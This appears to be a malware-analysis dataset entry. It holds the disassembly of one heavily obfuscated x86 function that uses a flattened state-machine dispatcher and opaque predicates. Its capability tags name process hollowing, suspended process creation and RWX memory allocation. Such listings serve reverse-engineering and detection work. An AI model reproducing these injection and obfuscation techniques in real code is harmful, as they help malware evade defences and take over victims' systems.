Function at 0x10002dc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [0x1006d200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0xc8cdff31
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x825fea04
je 0x100060fa
jmp 0x10002dfc
mov eax, dword [ebp - 0x190]
sub eax, 0x829640fb
je 0x100056e3
jmp 0x10002e12
mov eax, dword [ebp - 0x190]
sub eax, 0x82de76f8
je 0x10008782
jmp 0x10002e28
mov eax, dword [ebp - 0x190]
sub eax, 0x830610f4
je 0x1000827b
jmp 0x10002e3e
mov eax, dword [ebp - 0x190]
sub eax, 0x831959b7
je 0x10007644
jmp 0x10002e54
mov eax, dword [ebp - 0x190]
sub eax, 0x840c3630
je 0x100062f3
jmp 0x10002e6a
mov eax, dword [ebp - 0x190]
sub eax, 0x8417a8e3
je 0x10006bdc
jmp 0x10002e80
mov eax, dword [ebp - 0x190]
sub eax, 0x848c5db2
je 0x1000a712
jmp 0x10002e96
mov eax, dword [ebp - 0x190]
sub eax, 0x84faaedc
je 0x10008641
jmp 0x10002eac
mov eax, dword [ebp - 0x190]
sub eax, 0x8503d5f0
je 0x10007b1a
jmp 0x10002ec2
mov eax, dword [ebp - 0x190]
sub eax, 0x852ea02e
je 0x100054d5
jmp 0x10002ed8
mov eax, dword [ebp - 0x190]
sub eax, 0x8567b4e0
je 0x10007adc
jmp 0x10002eee
mov eax, dword [ebp - 0x190]
sub eax, 0x85ada5de
je 0x10006df1
jmp 0x10002f04
mov eax, dword [ebp - 0x190]
sub eax, 0x86ae9100
je 0x1000959a
jmp 0x10002f1a
mov eax, dword [ebp - 0x190]
sub eax, 0x8701d6ae
je 0x100071e9
jmp 0x10002f30
mov eax, dword [ebp - 0x190]
sub eax, 0x886b078f
je 0x10007eaf
jmp 0x10002f46
mov eax, dword [ebp - 0x190]
sub eax, 0x89588889
je 0x10007c25
jmp 0x10002f5c
mov eax, dword [ebp - 0x190]
sub eax, 0x8a87ab89
je 0x1000a153
jmp 0x10002f72
mov eax, dword [ebp - 0x190]
sub eax, 0x8bb7073b
je 0x10009d2b
jmp 0x10002f88
mov eax, dword [ebp - 0x190]
sub eax, 0x8c2c670b
je 0x1000a21c
jmp 0x10002f9e
mov eax, dword [ebp - 0x190]
sub eax, 0x8d596d84
je 0x100080de
jmp 0x10002fb4
mov eax, dword [ebp - 0x190]
sub eax, 0x8ebb5987
je 0x10007e71
jmp 0x10002fca
mov eax, dword [ebp - 0x190]
sub eax, 0x8f7cf450
je 0x10006b0d
jmp 0x10002fe0
mov eax, dword [ebp - 0x190]
sub eax, 0x8fbbc6fa
je 0x10006cf4
jmp 0x10002ff6
mov eax, dword [ebp - 0x190]
sub eax, 0x90bd80ca
je 0x1000a6d9
jmp 0x1000300c
mov eax, dword [ebp - 0x190]
sub eax, 0x956c18c9
je 0x10007edc
jmp 0x10003022
mov eax, dword [ebp - 0x190]
sub eax, 0x958065f8
je 0x10007e80
jmp 0x10003038
mov eax, dword [ebp - 0x190]
sub eax, 0x95a6c9af
je 0x1000a3cd
jmp 0x1000304e
mov eax, dword [ebp - 0x190]
sub eax, 0x968a0203
je 0x1000a42a
jmp 0x10003064
mov eax, dword [ebp - 0x190]
sub eax, 0x96da0a4b
je 0x10007f1a
jmp 0x1000307a
mov eax, dword [ebp - 0x190]
sub eax, 0x991d1d7e
je 0x10007408
jmp 0x10003090
mov eax, dword [ebp - 0x190]
sub eax, 0x99f3b50b
je 0x10007da2
jmp 0x100030a6
mov eax, dword [ebp - 0x190]
sub eax, 0x9a26d9d4
je 0x10007803
jmp 0x100030bc
mov eax, dword [ebp - 0x190]
sub eax, 0x9b80de2e
je 0x10007208
jmp 0x100030d2
mov eax, dword [ebp - 0x190]
sub eax, 0x9b86cc2d
je 0x10005d83
jmp 0x100030e8
mov eax, dword [ebp - 0x190]
sub eax, 0x9bd891fc
je 0x100074cb
jmp 0x100030fe
mov eax, dword [ebp - 0x190]
sub eax, 0x9c0cefa2
je 0x1000a134
jmp 0x10003114
mov eax, dword [ebp - 0x190]
sub eax, 0x9c3f7403
je 0x1000a58c
jmp 0x1000312a
mov eax, dword [ebp - 0x190]
sub eax, 0x9d4bc92c
je 0x10006517
jmp 0x10003140
mov eax, dword [ebp - 0x190]
sub eax, 0x9d5e9788
je 0x100098a5
jmp 0x10003156
mov eax, dword [ebp - 0x190]
sub eax, 0x9dc3f165
je 0x100087be
jmp 0x1000316c
mov eax, dword [ebp - 0x190]
sub eax, 0x9e447b81
je 0x10005478
jmp 0x10003182
mov eax, dword [ebp - 0x190]
sub eax, 0x9e75eb9d
je 0x10009553
jmp 0x10003198
mov eax, dword [ebp - 0x190]
sub eax, 0x9fac95df
je 0x10007635
jmp 0x100031ae
mov eax, dword [ebp - 0x190]
sub eax, 0x9fec8097
je 0x10005d28
jmp 0x100031c4
mov eax, dword [ebp - 0x190]
sub eax, 0x9ffda20f
je 0x10009ee7
jmp 0x100031da
mov eax, dword [ebp - 0x190]
sub eax, 0xa14d1396
je 0x10007251
jmp 0x100031f0
mov eax, dword [ebp - 0x190]
sub eax, 0xa17551b9
je 0x10006460
jmp 0x10003206
mov eax, dword [ebp - 0x190]
sub eax, 0xa1e4364a
je 0x1000a59b
jmp 0x1000321c
mov eax, dword [ebp - 0x190]
sub eax, 0xa2e379c5
je 0x1000609d
jmp 0x10003232
mov eax, dword [ebp - 0x190]
sub eax, 0xa3d4a163
je 0x10008334
jmp 0x10003248
mov eax, dword [ebp - 0x190]
sub eax, 0xa43287cc
je 0x10007fa7
jmp 0x1000325e
mov eax, dword [ebp - 0x190]
sub eax, 0xa5b03061
je 0x1000844e
jmp 0x10003274
mov eax, dword [ebp - 0x190]
sub eax, 0xa643e564
je 0x10007425
jmp 0x1000328a
mov eax, dword [ebp - 0x190]
sub eax, 0xa6816b4e
je 0x10009a00
jmp 0x100032a0
mov eax, dword [ebp - 0x190]
sub eax, 0xa6d0b1d0
je 0x1000a333
jmp 0x100032b6
mov eax, dword [ebp - 0x190]
sub eax, 0xa7015233
je 0x100061ac
jmp 0x100032cc
mov eax, dword [ebp - 0x190]
sub eax, 0xa7769a2d
je 0x10006fe9
jmp 0x100032e2
mov eax, dword [ebp - 0x190]
sub eax, 0xa7971b6e
je 0x1000a646
jmp 0x100032f8
mov eax, dword [ebp - 0x190]
sub eax, 0xa8b10d9f
je 0x10007482
jmp 0x1000330e
mov eax, dword [ebp - 0x190]
sub eax, 0xa8d2f093
je 0x10006572
jmp 0x10003324
mov eax, dword [ebp - 0x190]
sub eax, 0xa97acd2d
je 0x1000a314
jmp 0x1000333a
mov eax, dword [ebp - 0x190]
sub eax, 0xa99ed44d
je 0x1000894d
jmp 0x10003350
mov eax, dword [ebp - 0x190]
sub eax, 0xa9cb455a
je 0x10008fad
jmp 0x10003366
mov eax, dword [ebp - 0x190]
sub eax, 0xab110a45
je 0x1000a799
movss xmm0, dword [0x100173a0]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001739c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0xcfa82c43
jmp 0x1000a825
mov dl, 1
mov eax, 0xafd0d54b
mov ecx, 0x7c4086fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x10017378]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x18c], 0x3273924
jmp 0x1000a825
movss xmm0, dword [0x1001735c]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x18c], 0x4e00f391
jmp 0x1000a825
movss xmm0, dword [0x10017354]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x18c], 0xf1e58900
jmp 0x1000a825
movss xmm0, dword [0x10017338]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10017334]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x18c], 0x46fb9cdc
jmp 0x1000a825
mov dl, 1
mov eax, 0x1041c277
mov ecx, 0xae3a1eae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x100171fc]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0x28b42839
sub edx, 1
sub edx, 0x28b42839
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb9f9c4ab
mov ecx, 0xa41c96c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x100171f8]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0xbd947232
sub edx, 1
sub edx, 0xbd947232
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f9cc134
mov ecx, 0xad7d0eff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc8702abc
mov ecx, 0xe769f820
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dl, 1
mov eax, 0xa8d2f093
mov ecx, 0x1c3f5982
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0x6da29296
sub edx, 1
sub edx, 0x6da29296
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb9378c61
mov ecx, 0x5f7f4374
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0x7150fed5
sub edx, 1
sub edx, 0x7150fed5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x189ff657
mov ecx, 0x2709d381
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x5a63cecd
jmp 0x1000a825
movss xmm0, dword [0x10017300]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x18c], 0xbffebb1d
jmp 0x1000a825
movss xmm0, dword [0x100172fc]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x18c], 0xdc72eefb
jmp 0x1000a825
movss xmm0, dword [0x100172f8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x18c], 0xac192852
jmp 0x1000a825
movss xmm0, dword [0x100172dc]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x18c], 0x9b80de2e
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x968a0203
mov ecx, 0xa14d1396
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0x89493c28
sub edx, 1
sub edx, 0x89493c28
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x968a0203
mov ecx, 0x11810dfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dl, 1
mov eax, 0x2f9a6641
mov ecx, 0xa643e564
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x100172cc]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100172c8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x18c], 0x10e5440f
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4d970cf
mov ecx, 0x9bd891fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
add edx, 0xf6113331
sub edx, 1
sub edx, 0xf6113331
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb4d970cf
mov ecx, 0xc02a6467
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x831959b7
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x44b0094c
jmp 0x1000a825
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0xed3183d9
sub edx, 1
sub edx, 0xed3183d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x46315edd
mov ecx, 0xf47bbaf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x100172a8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100172a4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x18c], 0x451f1bc9
jmp 0x1000a825
mov ecx, dword [0x1006e528]
mov eax, dword [0x1006e524]
mov edx, ecx
sub edx, 0xaaef038b
sub edx, 1
add edx, 0xaaef038b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcf6a5cec
mov ecx, 0xa368f91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dl, 1
mov eax, 0x4948f2be
mov ecx, 0x53b9d35e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
add edx, 0xf7a8433c
sub edx, 1
sub edx, 0xf7a8433c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffcf418f
mov ecx, 0x4e0e7079
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x958065f8
jmp 0x1000a825
movss xmm0, dword [0x10017294]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10017290]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x18c], 0x886b078f
jmp 0x1000a825
movss xmm0, dword [0x1001728c]
movss dword [ebp - 0x124], xmm0
mov dl, 1
mov eax, 0x96da0a4b
mov ecx, 0x956c18c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x10017288]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10017284]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x18c], 0xacd8a8f1
jmp 0x1000a825
movss xmm0, dword [0x10017280]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x18c], 0x42b31bdc
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x17ba1457
mov ecx, 0xfdd72786
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x76db7a05
jmp 0x1000a825
movss xmm0, dword [0x10017260]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x18c], 0xf7de971b
jmp 0x1000a825
mov dl, 1
mov eax, 0xa5b03061
mov ecx, 0x4ad5949a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe6e42c8e
mov ecx, 0x592a0ed4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
movss xmm0, dword [0x10017254]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x18c], 0xf021e833
jmp 0x1000a825
movss xmm0, dword [0x10017248]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x18c], 0x47c70a9a
jmp 0x1000a825
movss xmm0, dword [0x10017244]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x18c], 0xe0311449
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x5f5a9f8b
jmp 0x1000a825
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x18c], 0xf3c10354
jmp 0x1000a825
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x138]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x18c], 0x7a9a58e6
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x7556c67
jmp 0x1000a825
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x178]
mov ecx, dword [ecx]
sub eax, 0x4a96a8e4
add eax, ecx
add eax, 0x4a96a8e4
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x18c], 0x4492d8c2
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
mov edx, eax
sub edx, 0x3fea17bb
sub edx, 1
add edx, 0x3fea17bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcac85c8d
mov ecx, 0xab6cfcc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov eax, dword [0x1006e528]
mov ecx, dword [0x1006e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb6c3f3b
mov ecx, 0x65885612
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x7556c67
jmp 0x1000a825
movss xmm0, dword [0x10017224]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0x6d85eb36
jmp 0x1000a825
movss xmm0, dword [0x10017220]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0xd96bfab7
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x5515e32c
jmp 0x1000a825
movss xmm0, dword [0x100171e8]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x18c], 0x111719b1
jmp 0x1000a825
mov dword [ebp - 0x18c], 0xf4c30e2d
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x6ada1466
jmp 0x1000a825
mov dword [ebp - 0x18c], 0xa14d1396
jmp 0x1000a825
mov dword [ebp - 0x18c], 0x7a6ef5dc
jmp 0x1000a825
movss xmm0, dword [0x100171a4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x18c], 0xbabfa0bd
jmp 0x1000a825
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x18c], 0x22c45d01
jmp 0x1000a825
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18c], 0xb97d8e49
jmp 0x1000a825
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x18c], 0x17a1b612
jmp 0x1000a825
jmp 0x10002de0